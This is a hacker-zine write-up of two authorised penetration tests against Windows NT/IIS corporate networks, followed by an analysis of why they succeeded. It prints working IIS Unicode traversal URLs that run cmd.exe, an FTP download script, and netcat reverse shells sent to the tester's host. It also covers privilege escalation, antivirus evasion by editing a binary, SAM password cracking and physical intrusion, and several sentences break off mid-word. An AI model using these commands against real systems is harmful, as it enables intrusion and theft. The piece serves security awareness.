

---

# Hacker's Digest

---

## Autopsy of a Successful Intrusion

by Floydman™

### Abstract

This paper consists of the recollection and analysis of two network intrusion that I have performed as part of my duties as a computer security consultant. The name of the company I worked, as well as their customers that I hacked into, will remain anonymous for obvious reasons. The goal of this paper is to show real life cases of what computer security looks like in the wild, in corporate environments. I will try to outline the principal reasons why these intrusions were successful, and why this kind of performance could be achieved by almost anybody, putting whole networks at risks that their owner don't even begin to realize yet.

### Preface

It's been over a year now that I delved into computer security. Before that, I was doing computer support and server admin on various platforms: DOS, OS/2, Novell, Windows. I have always been kind of a hack, but I never realized it until I had enough free time ahead of me to start studying the hacking scene and the computer security industry more in depth. That is how I started writing whitepapers, and that I was eventually invited to a conference to present some of my work. But I didn't want to have problems with the law, and I was short on resources (money, boxes, bandwidth), so I limited myself to keeping tracks of new vulnerabilities and understanding how they worked without actually having the opportunity to try them on a real machine. So when I got this job and they asked me to try to hack these networks, I was really anxious at what I could really do. After all, I can't be worse than a script kiddie, can I?

### Targeted audience

This document is presented to anyone who has interests in computer security, network intrusion, hacking, viruses and Trojan horses, network administration and computing in general.

### Introduction

What I am about to describe here is the complete story of two successful network intrusion, where we (quickly and rather easily) had complete access to everything. These two networks are the same kind of networks that get infected all the time with I



Love You, Melissa, Anna.Kournikova, Sircam only to name a few. The people who runs these networks, and the people who own them, can't keep ahead with plain viruses (for another sample of this, read "Virus protection in a Microsoft Windows network, or How to stand a chance"), let alone with a dedicated intruder that will hopefully be smart enough to hide his tracks (but even that his not even to be a requirement soon if it keeps up like that, as we'll see later). And these are networks owned by (apparently) respected big corporations, and were equipped with firewalls and antivirus software. And they still wonder why e-commerce never lifted up to expectations?

### **Technical background of the hack**

Both networks were based on Microsoft systems, which is not that surprising since it is the most (and by far) used platform in corporate environments, especially on the desktop area. Both intrusions were made over the Internet with tools freely available on the Internet. They used vulnerabilities that were known for quite a long time, and we sometimes had to use a bit of imagination to do the rest. If you are a Windows NT/2000 admin, what you are about to read should scare you to hell. If you are a malicious hacker that does this kind of thing for a living of just plain fun, you probably know all this stuff already. But you'll probably still want to read on to have a good laugh.

Both intrusions followed the same methodology, similar to those of a typical intrusion, which is gathering of information, analysis of the information, research of vulnerabilities, and implementation of the attack (we didn't have time to test on one of our machines, but that didn't matter), repeat. Both attacks were done from our facilities using our dedicated ADSL line over the Internet. One of the intrusion involved going undercover physically onsite at the customer premises to plant a wireless hub on the network. A laptop equipped with a wireless network card was also used to link with the hub momentarily, to avoid detection.

### **Some of the tools used were:**

SuperScan : to scan classes of IP address to determine open ports

CyberKit : this tool lets you do IP information gathering (DNS lookups, traceroute, whois, finger)

nc.exe : NetCat, ported to Win32. This program lets you initiate telnet connections on any port you want

hk.exe : program that exploit a vulnerability in the Win32 API (LPC, Local Procedure Call) that can be used to get System Level access

net commands : these should be known to all NT admins (net view, net share, net use, etc)

a hex editor : these programs let you edit binary files in hexadecimal/ascii format, a bit similar to notepad for text files

l0phtcrack : this software lets you crack the NT passwords file

whisker.pl : this script will scan web servers for known vulnerabilities, along with instructions on how to exploit them

EditPad Classic : this is a Notepad Deluxe, where we gather the information collected during the hack

and other tools that I forgot that were part of the NT Ressource kit or that I will

mention later in the text.

Sugar input was provided with a supply of M&Ms and coke (the drink, not the sniff).

### **The first victim**

**Pseudonym** : XYZ Media Publishing Corporation

**Type of company** : Big Media Corporation (TV, radio, newspapers, magazines, record company, don't they all do that nowadays?)

**Time allowed to hack** : 3 man/days

**Goal** : penetrate the network as far as possible and get evidence of intrusion

So I start with the beginning, making DNS lookups on their IP classes, whois requests and port scan the IP addresses of the company's main website as well as the subsidiaries websites. It turns out that there are over 140 machines publicly exposed to the Internet (web servers, DNS, mail, B2B), mostly Windows NT machines, with a couple \*nix in the lot. A quick header scan of the web servers show effectively a mix of IIS 3.0 and 4.0. Now, the problem is to figure out where to start. Let's start with the obvious, the main website (NT 4.0 IIS 4.0). A quick check at the Bugtraq archive at SecurityFocus shows me that the "Directory traversal using Unicode vulnerability" is still quite popular (especially by script kiddies who uses it to perform website defacements), even if it's been out for about a year already. Especially since there is a new variation every couple of weeks or so. So I fire up my specially crafted hacking tool, MS Internet Explorer (sarcasm directed at medias covering hacking incidents).

The directory traversal vulnerability works by fooling the web server to give you content located outside of the web directory that it is supposed to be limited to. By default (which must cover anything between 50%-90% of the installed base), the content served by the server is located at C:\inetpub\wwwroot. So, instead of requesting the document <http://www.victim.com/index.html> (that correspond physically on the server to the file C:\inetpub\wwwroot\index.html), you request something like <http://www.victim.com/../../../../index.html>, which will request the file C:\index.html. Of course, index.html doesn't exist on C:\, but that doesn't matter, since from there you can request any file that you know the location of, based on a default install. Things that come to mind is the cmd.exe program, that you can use to issue commands on the web server as if you were sitting there and typing in a DOS box. I have to say at this point that the vulnerability doesn't work like I said, but that was a simple explanation of

<http://www.victim.com/../../../../winnt/system32/cmd.exe?/c+dir+c:\+/s>

Notice that + replaces the [Space] character in your commands, and ?/c+ is required to pass parameters to cmd.exe. %1c%pc is the Unicode equivalent to /.. (other equivalent may work, see the Bugtraq entry about this vulnerability for more details). So now we have in our browser window a complete listing of all files present on the C: drive of the server. We can do the same thing for the D: drive, to see if it's present, and if it is, do it for the E: drive, and so on. The idea is to gather up as much information about the machine as we can get. At this point, we know enough to see what software runs on the machine, where the data is located. Notice that at this

point, we could start to issue ping commands or net commands to try to map to any internal network the server may be talking to, but issuing these commands with the web browser is not really convenient. So we're going to get a real command prompt.

First, I set up a FTP server (no anonymous access, of course) on my laptop and put my tools in the main FTP folder. Namely, I put nc.exe and hk.exe and a couple from the resource kit. Then I use the FTP utility conveniently waiting where I expect it to be for me to initiate a connection to my laptop and fetch my tools. Since the FTP program is interactive and that I can only issue commands via the web server, I have to make a FTP script on the server. To do this, I simply issue echo commands redirected to a text file, using the directory traversal vulnerability.

```
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruder.com+>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+username>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+password>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+prompt>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+bin>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+mget+*.exe>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+bye>>ftp.txt
```

I check out my script with my web browser one last time to make sure there I made no mistake, and then I launch the FTP session, assuming that the firewall permits this kind of traffic. And it does.

```
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txt
```

Once this is done, I will use netcat to have a command prompt on the webserver. Netcat is a very useful networking tool that you can use to communicate via any port, and spawn a shell prompt. nc -h will give you these options:

```
C:\nc11nt>nc -h
[v1.10 NT]
connect to somewhere:  nc [-options] hostname port[s] [ports] ...
listen for inbound:   nc -l -p port [options] [hostname] [port]
options:
    -d          detach from console, stealth mode

    -e prog     inbound program to exec [dangerous!!]
    -g gateway  source-routing hop point[s], up to 8
    -G num      source-routing pointer: 4, 8, 12, ...
    -h          this cruft
    -i secs     delay interval for lines sent, ports scanned
    -l          listen mode, for inbound connects
```

-L listen harder, re-listen on socket close  
-n numeric-only IP addresses, no DNS  
-o file hex dump of traffic  
-p port local port number  
-r randomize local and remote ports  
-s addr local source address  
-t answer TELNET negotiation  
-u UDP mode  
-v verbose [use twice to be more verbose]  
-w secs timeout for connects and final net reads  
-z zero-I/O mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]

So I will launch netcat in listening mode on port 53 (also used by DNS, allowed by the firewall) on my laptop, and launch a netcat connection bound to a command prompt from the webserver to my laptop (using the browser once again).

In my DOS box

```
nc -l -p 53
```

and it hangs there...

```
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+my.IP.address.ADSL+53
```

And the hung DOS box gets:

```
Microsoft(R) Windows NT(TM)
```

```
(C)Copyright 1985-1996 Microsoft Corp.
```

```
C:\Intetpub\wwwroot\scripts>_
```

Voilà, I have a prompt. I use the whoami command from the NT Ressource kit, to find out with disappointment that I am only INET\_IUSR/Anonymous, the anonymous Internet user account. So the web server doesn't run on the Administrator account. That means that I still can't reach the NT password file (also called the SAM database) because of the restricted access. No problem, I think, I'll just initiate another telnet connection using another port (23 Telnet, why not?) by using the hk.exe tool. This tool uses a vulnerability involving an undocumented API call (NT\_Impersonate\_thread or something like that) that lets a thread (a part of a process running in memory) get the token (a security attribute that defines what security level a thread can run, user space or kernel space) of a kernel thread (LSASS or equivalent). To use this tool, you simply type hk followed by any command you would want to run if you had NT AUTHORITY/SYSTEM level privileges (this is above the Administrator account privileges). So I t

```
hk nc -d -e cmd.exe my.IP.address.ADSL 23
Bad command or file name
```

What the?!? I make a dir command, and true enough I don't see any file named hk.exe. Did I forget to download it before? I make another FTP download (using the script again because interactive FTP sessions over a netcat connection doesn't work too well), and sure enough I see the file being downloaded from my laptop. I make a dir command again, and the file still isn't there. So I go to C:\ and make a dir hk.exe /s, and what do you know? It's in the C:\Program Files\Antivyrtec Associates\Antivirus\Quarantine\ folder. Damn, the stupid antivirus caught my file. How can I get root without it?

Most antivirus products work by matching byte streams of known viruses and other malware to the programs and files your computer uses. If a match is found, then the file is most probably of dangerous nature, and the antivirus prevents the user from opening it. Polymorphic viruses uses a flaw in this strategy by modifying themselves every time, making it difficult to identify a reliable byte stream in the virus code that can be used to clearly identify it. Can I also use this flaw to my advantage? Of course. Actually, that day, I have lost a lot of respect towards antivirus products seeing how easily it was to circumvent it.

Using a hex editor (I don't remember which one, but they all do pretty much the same), I opened hk.exe. What I now see is all the binary code of the executable, shown in a hexadecimal representation. On the right hand side, we see an ASCII representation of each byte of code. Since this is compiled code, it is pretty hard to modify anything in there without screwing up the program and making it useless. Especially since we don't know what bit pattern the antivirus software looks for, and that I know nothing in reverse-engineering. The only thing editable in the program is a small section where we can actually read the message displayed by hk.exe when it successfully executes (something like "Your wish is my command, master"). What the heck, let's change that and see what happens. So I replace the string with XXXX XXXX XX XX XXXXXXXX XXXXXX, and rename the file hk2.exe (which is why I don't remember the exact string, now I only care to use hk2.exe). A quick FTP download later, and I make a dir command

So anyway, I open another DOS box on my machine and I initiate a new listening connection on my laptop

```
nc -l -p 23
```

and I type the command

```
hk2 nc -d -e cmd.exe my.IP.address.ADSL 23
on the active netcat on the webserver and we get:
```

```
hk2 nc -d -e cmd.exe my.IP.address.ADSL 23
```

```
lsass pid & tid are: 50 - 53
```

Launching line was: nc -d -e cmd.exe my.IP.address.ADSL 23

XXXX XXXX XX XX XXXXXXXX XXXXXXNtImpersonateClientOfPort succeeded

(On the listening DOS box)

Microsoft(R) Windows NT(TM)

(C)Copyright 1985-1996 Microsoft Corp.

C:\inetpub\wwwroot\scripts>

whoami

NT AUTHORITY/SYSTEM

At this point, I see no reason to keep the first netcat connection, so I kill it. I am now in complete control of the web server and I can do whatever I want on it. I start to upload the SAM database on my laptop and I start cracking it with l0phtcrack, using a dictionary attack first, then a brute force attack to uncover the few passwords left, if any. While the passwords cracks, I continue my investigations of my newly owned machine. I issue the ipconfig command, and I see the IP addresses of the two network interface cards installed on the machine. The IP address on one of the NIC is effectively the public IP of the web server. The other one bears an internal IP address, and a few pings and net commands later, I have a complete list of the NT Domains, PDC, BDC, Servers. I could talk to the whole internal network! Using some of the usernames/passwords that I cracked, I could go in any domain and from there connect to any workstation. With net accounts, I saw some administrative accounts that I ha

As I hopped from one workstation to another, from server to server, I kept making dir c: and dir d: images, downloaded files in various interesting folders (marketing, HR, finance, IT, production, contracts, budget, etc), along with a couple Outlook mailboxes, which tells me that I could probably use the flaws in this software to send a custom virus to take control of a machine, but why bother? I already had access to everything: network maps, list of software approved by IT, standard configuration of a desktop, resumes from applicants, budget of last and current year of various departments, production status reports, finance reports, company acquisition plans and contracts, full employee lists, with phone number, e-mails and salaries, layoff severance documents, full calendar appointments of some management people, along with their mailboxes, which also showed up some interesting things. I will always remember this e-mail I read that the guy I hacked into received from one of his friends. In the e-mail,

We were about to run out of time, since my three days were almost run out. Let's not forget that I had to write a report after that, and that the customer only paid for such amount of time. But there was still a little piece of the network that I couldn't get access to. It was refusing any connection attempt from any domain that I already had control of. That was a separate NT domain, on its own IP class C network, with very restricted access, probably accessed only by the board of directors if I rely on the

domain name. No password that proved useful before would work. A port scan showed me that there was a web server on this network, and I knew it was a NT server, and most probably running IIS 4 as well. But how can I launch a web request from a DOS prompt in order to hack the server like I did the first one? I could probably make a tool someday, but I definitely don't have this kind of time on my hands right now. I see the gold, I want the gold (even though I have plenty already), and I am willin

Winvnc works a bit like nc, but instead of giving a simple command prompt, it give full access to the graphical user interface (GUI) as if you were sitting in front of the machine, the same way as PCAnywhere does. This have the side effect that a person sitting in front of the machine will see all your actions, which means that you have been spotted.

In my case, I had nothing to lose, so the plan is to download Winvmc on the machine I currently own, initiate the GUI connection from there, and then use the browser installed on the web server to launch a similar attack to the intranet server using the directory traversal vulnerability. From there, I hope to be able to find some usernames and passwords that I can use to gain access to the protected machines in the same fashion as to what I had done so far. So I initiate the Winvnc session, and surprise, I see right in the middle of the screen two pop-up warnings from the antivirus software, generated from the two unsuccessful downloads of hk.exe, 2 days ago. So I click OK to remove any visual evidence of my presence, and I proceed to clean my presence a bit, deleting all the stuff that I won't need anymore. I also notice some of the NT Res kit that I used in another folder that was not mine. That made me wonder if it was the admin who conveniently installed it there for anyone to use, of if it was the

I was about to launch IE in order to finish my attack quickly and return to the stealthier DOS command prompt that a second surprise happens: Notepad opens up with a message saying "who r u?". I knew I could be spotted, and I have been spotted. The spelling of the message makes me wonder if I am dealing with a IT professional or a script kiddie here, but a quick look at the processes running on the machine (ps.exe from the NT Res Kit) shows me that he is connected via a PCAnywhere session, so it's probably a tech support, but he's not in front of the machine. So I write "God" in the notepad message, give him about 5 seconds to read my reply, and then I kill his connection (kill.exe). Then I quickly erased the rest of my files on the machine, and killed my session while I was laughing hard with a colleague beside me.

Too bad that I missed that last vault, and that I have been spotted, but if I wasn't only a guy doing his job, working 9-5 because I also have a life, and under an artificial schedule, I would have cracked it, undetected. A dedicated corporate spy or malicious hacker would have done this at night, and would have been completely undetected for as long as he wants.

## **The second victim**

**Pseudonym** : Trust-us e-commerce inc.

**Type of company** : e-commerce company, implements B2B and B2C solutions for

businesses

**Time allowed to hack :** 3 man/days

**Goal :** penetrate the network as far as possible and get evidence of intrusion

So my first impression of a big corporate network (from my previous work experience at a telecommunications company, see Virus protection in a Microsoft Windows network, or How to stand a chance) from the security point of view proved to be true with my successful and easy network intrusion I had done for XYZ Media Publishing Corporation. I was anxious to see how I would fare against an e-commerce company. I was curious to see if they really cared about security, given their area of expertise.

So the hack started pretty much the same way as the first one: DNS lookups, whois, portscan, etc. It turns out that there's about 5 or 6 machines reachable via the Internet. 2 \*nix DNS servers, 1 Exchange mail server, and a couple IIS machines. These machines are all firewalled and only allow very specific traffic : http, https, DNS, SMTP. But remember that if one of these services is vulnerable, it can be exploited and the firewall won't be effective at blocking the attack. I issue a whisker scan on the webservers to see if there's any known vulnerabilities on the web server itself, and in the cgi programs as well. The machines turns out to be pretty secure, even if they are NT boxes. The server appears to be patched up to date, and non-necessary services have been removed from IIS (such as idq requests, asp pages, default sample pages). So I can't use the directory traversal vulnerability on this one. I try to screw up with some invalid requests in the cgi programs, trying to see if I can provoke

We had received some new toys a couple of weeks before, and we couldn't wait to try them in the field. We had a wireless hub and a pair of PCMCIA wireless network cards. I don't know how much this equipment costs, but it shouldn't run above 2-3 k\$, probably less. Not exactly cheap, but not unaffordable to individuals. So we decided to attempt a physical intrusion in their offices and plant the wireless hub on their internal network and see what happens next. We were three persons to do this operation, but it could have been achieved by only a single person.

We thought a bit about doing a masquerade and pretend that we were from the phone company or something, all along with the uniforms and even a line tester that makes bip-bip sounds that are sure to convince any non-technical person unfamiliar to this kind of equipment. We even had the floor plan, that my boss asked to the facilities management guy (those who manage building services). He gave the plans to my boss without asking any ID or whatever, my boss simply told him that he was working for Trut-us e-commerce inc, and that was it! My boss was even left alone in the facilities guy office for about half an hour, even time to give him the opportunity to take a peek or two, or steal one of the uniforms hanging by the door if he wanted to.

But instead, we chose a simpler course; simply walk in dressed casual (average employee age at Trus-ut is about 25-30) and pretend to belong there. The company is quite new, and they are hiring new staff, so it's quite normal for a place like this to see new faces. So the plan was to have one person walk in the offices, avoiding the main entrance of the offices if possible, to avoid the receptionist desk, and put the wireless hub on the network, in a free LAN jack in the photocopier room (as we could see from the floor plan). And to collect any valuable data the onsite visit can provide.

In the meantime, another colleague would be sitting in a toilet stall with his laptop equipped with the wireless network card and try to get access to the network. If he proved successful, he would initiate a netcat connection from one of their machines to my laptop, and then leave the premises. As for me, I will be at our offices, hooked up on the ADSL link, and waiting for the netcat connection to come to me. Once I g

And that's exactly what happened! My first colleague got in from the door beside the staircases, going inside with other people that were coming back from a cigarette break. He went to the photocopier room, and plugged the wireless hub to the network, and hid it behind some boxes. After that, he walked across in the offices, a lot of cubicles being empty, as the company had plans for growth. He said "Hi!" to a couple of persons who were having a conversation. He found an employee list on a desk, with all the phone numbers and positions in the company. He went back to the photocopier room, and made a copy. He also looked for other stuff, but it was hard to figure out what paper documents are about without looking suspicious. So after half an hour, he simply took the hub back with him and left the premises.

Meanwhile, colleague #2 is in the bathroom stall with his laptop. He waits about 5 minutes to give #1 enough time to plant the bug. Then he boots up his machine and he automatically gets an IP address from the internal network DHCP server. That's a good start! It takes him no time to take control of an internal web server to launch the netcat connection to me (with full SYSTEM/NT\_AUTHORITY privileges, of course). While I put my scheduled jobs on this machine to keep a point of entry, he goes on an exploration tour of the rest of the network, stops in a couple workstations to download some files, and leaves after 15 minutes, after making sure with me that everything was under control on my side (using a text file to send messages to each other).

As for me, I started doing the usual stuff, downloading the server's SAM file, cracking it, exploring the contents of some workstations, visiting the servers and the PDC/BDC getting these SAMs also. I downloaded some of their website source code, looked at test systems, and the customer database, etc. I could see that there were firewalls between some of the internal network segments, but all netbios ports were allowed, since these machines were all part of the same NT domain. I accidentally killed my session, but it came back to me exactly when I expected it, so I could continue without any problem. At the end of the day, our mission was done.

Again, we were three persons to implement this attack, but this could be done by a single person. We only had one day left to perform the intrusion, so we had to be efficient and well prepared. But a single well prepared person, having no other schedule than his own, could have easily walked in the offices, plant the hub on the network, go in the bathroom, schedule hk2 netcat sessions at specific times, and go home and simply wait for the connections to initiate. Then he is free to do all he wants.

### **The autopsy of the two hacks**

My goal with this paper is not to give a hacking cookbook to script kiddies so they can screw up big corporations real big instead of just defacing their websites. Neither is it to promote network intrusions. My goal is to give a reality check to the IT industry,

and to the companies that employ them, about the situation regarding network security. To show how easy it is, and the impact on a business a security incident like this could cause. Having all the information that is available, a malicious person have limitations restricted only to his imagination (BTW, blackmailing is very unimaginative). My goal with this paper is also to outline why these hacks were so easily successful, in order to understand why this could happen in the first place. Only then will we be able to define corrective actions. So it is in this chapter that we will make the autopsy of these hacks, and find out what problems these companies, and many others, are facing.

In the case of XYZ Media Publishing Corporation, the problems are numerous, and do not simply involve technology. First of all, I made a lot of mistakes when I hacked this machine (the webserver), learning curve and all... For example, I did not erase the evidence of my intrusion in the IIS log files. A kiddie would probably have thought to erase the whole file, but an experienced intruder would have only deleted the entries belonging to him, to leave as little trace as possible. Not that it mattered in this case, because nobody looked at the log files. They only checked when they received my report, and they were astonished at how much noise I made that went undetected. Worse than that, there was 2 visual antivirus pop-ups (hk.exe) on the server's screen showing for 2 days without anybody noticing it, or actually they saw it, but didn't bother to care about it! But wait, there's more: the tech that spotted us while we were in a Winvnc session didn't even bother to report the incident to anybody!

With

Another problem is the lack of experience of their IT staff. It is well known that these big corporations, in order to be cost-efficient (i.e. as cheap as possible, to keep shareholders happy), centralize their support to reduce costs, and doing so will hire those who cost less, who happens to be the less experienced on the market. I took a good look at the resumes of their staff, and it tends to confirm my theory. Most of them didn't even have a college degree, even less a university degree. They had a computer support course and a MCSE from a specialized school, in a word, they were green. These people know only as far as what they have been shown, and will click where they learned to click, without any understanding of the concepts or implications of what they have just done. This is a direct effect of the big boom in the IT industry during the 90's. The demand was too high compared to the offer, so the industry had to generate more workforce, and doing so rushed out of schools diplomed computer i

This leads to the third problem, directly generated by the precedent one, which is the presence of unpatched, highly vulnerable servers on the Internet. And their problem is about 40-fold, since XYZ Media Publishing Corporation is really about 40 smaller companies, all owned by XYZ Media Publishing Corporation, and each of these companies have the same problem, and all requires urgent security measures. \$\$\$

The fourth problem, in the same vein, is a really bad network architecture. XYZ Media Publishing Corporation cared enough about its network to at least put firewalls at each internet entry points. All serious firewall products include the possibility to have a DMZ, which is a separated part of your network, designed to receive the public access machines like a web server or a mail server. The idea is to keep these machines separated from the rest of your internal network. Since these servers are

exposed to the Internet, than means that anyone can potentially compromise the server. The role of the firewall is to deny all access from the DMZ machines to the internal network, because these machines cannot be trusted and a connection initiated from one of these machines means that the machine as most probably been cracked. That way, you protect your internal network from Internet exposure, have your public servers, and make sure that the servers can't be used to access the internal network. In the case of

The fifth problem afflicted both companies, and is spread everywhere in the networked corporate world, and it's the fact that the internal network, and especially the workstations, are completely unprotected. Many of the PCs have open shares, not even protected by a password (which could be broken anyway, especially on a Win 9x machine). Passwords are weak and easily broken. ACLs are rarely implemented on NT workstations, are implemented in the data portion of the servers (to prevent people to access other people's files), but not on the system portion, which means that anyone can grab the password file and crack it later. Antivirus are often out of date, even if auto-update features are now a common thing, and even if they were up to date, they can be easily circumvented. Let's just say that if your only protection is an antivirus product, then you shouldn't even bother to install it.

The sixth problem is the one that caught Trust-us e-commerce inc. pants down. Being an e-commerce company, they were serious enough about it to take good care of their systems. The ones exposed to Internet, that is. So besides having their internal systems completely open like XYZ Media Publishing Corporation, their physical security was inexistant. Beginning with the guy who manages the building who gives us the floor plans! He even offered to give us the plan of other floors. Then, it was easy to go inside the offices without being challenged by anyone, forcing the intruder to think quick and bullshit his way out, with the chance that he makes a mistake and give himself away. The floor had many access doors besides the main entrance, guarded by the secretary. There's no badge or ID or anything to differentiate an employee from an outsider. That was their weak spot. Ironically, I would say that XYZ Media Publishing Corporation was more protected in terms of physical security, but it could still be

Then, there is the little security awareness from corporations high management. The finance director of XYZ Media Publishing Corporation was all shocked to see the results of my intrusion attempt, as he firmly believed that their network secure. Then, in true beancounter style, he complained about the amount of money they paid for the firewalls, that proved to be useless after all. But this guys only understands dollars, not technology. Is it possible to achieve a secure computing environment connected to the Internet without firewalls? Absolutely no, of course! But are they sufficient in order to securise the computing environment only by themselves? The answer is no again. But he thought that by simply buying an expensive band-aid, that would solve all their security problems. Which leads me to the last problem I can identify in this autopsy.

Pretty much like the IT industry growth of the 90's and the Y2K rush that later mutated in e-commerce, the computer security industry is also being the victim of a "gold rush effect". Since the enormous size of the vulnerable computing base in corporate IT, it is not hard to see a high revenue potential for any skilled business

man. It is not rare then to see small professional security firms being purchased and merged with bigger IT companies, that were mostly in the MCSE business before that (what a surprise). Instead of seeing the knowledge of the security firm being applied the the MCSE shop's procedures, in order to increase the value of the services they provide, and thus doing better than the competition (which should get you to increase your market share and revenues), they want to keep the security department from bashing too much on Microsoft, because they are a business partner, and it isn't a good thing to bitch against a partner, because it might piss him off. Also, the MCSEs didn't appear t

## **Conclusion**

The cases I have covered here are real life cases, nothing have been added for dramatic effects. I know that it is not all networks that are this vulnerable, but let's be serious, secured networks are the exception, not the norm. The norm, it is what is explained in this paper. This is even worse than a worm that walks across webserver to webserver (although Code Red II made it interesting by backdooring the servers it infected in order to make it even easier than what is shown in this paper to hack the machines) or an e-mail virus that send files out. These problems are also serious enough to take care of, but it's only the tip of the iceberg.

Now, with all the desinformation going on, attempt by companies to shut down free speech concerning computer security research and related topics, up to the point of arresting a russian programmer this summer for writing a "circumvention decice", and all the other abuses of the DMCA, I wonder what will happen to me and this paper. Will I be arrested for showing out how to "circumvent a security mecanism" by fooling the antivirus? This may seems like a dumb and ridiculous joke pointed out to the spooks out there, but to tell you frankly, I see hackers as being the target of the new witch hunt of the 2000's. It is sad, because they are the very same people who built this wonderful network that is Internet, and they are the people who can most contribute to its securing, by doing research and sharing information.

But the thing is, and it should be obvious by now to the reader, that the systems out there are massively and highly unsecure, and stopping people talking about these issues, and keeping the public in ignorance by putting fear into them fueled by mass-medias hysteria is not gonna help. In order to solve these issues, priorities will have to be made, and those who choose the right priorities are probably those who are gonna win in the long run. In the meantime, anything can happen.

## **Appendix A. Ressources**

BUGTRAQ

[www.securityfocus.com](http://www.securityfocus.com)

Big security site and host of the Bugtraq mailing list

Britney's NT hack guide

<http://www.interphaze.org/bits/britneysnthackguide.html>

Guide to hacking NT and IIS

Rain Forrest Puppy

<http://www.wiretrip.net/rfp/2/index.asp>

Home page of Rain Forrest Puppy, discoverer of the Unicode directory traversal vulnerability, and author of Whisker

Astalavista

<http://astalavista.box.sk/>

Search engine for security related websites, tools and articles

Google

[www.google.com](http://www.google.com)

Web search engine, useful to look for hard-to-find stuff like hk.exe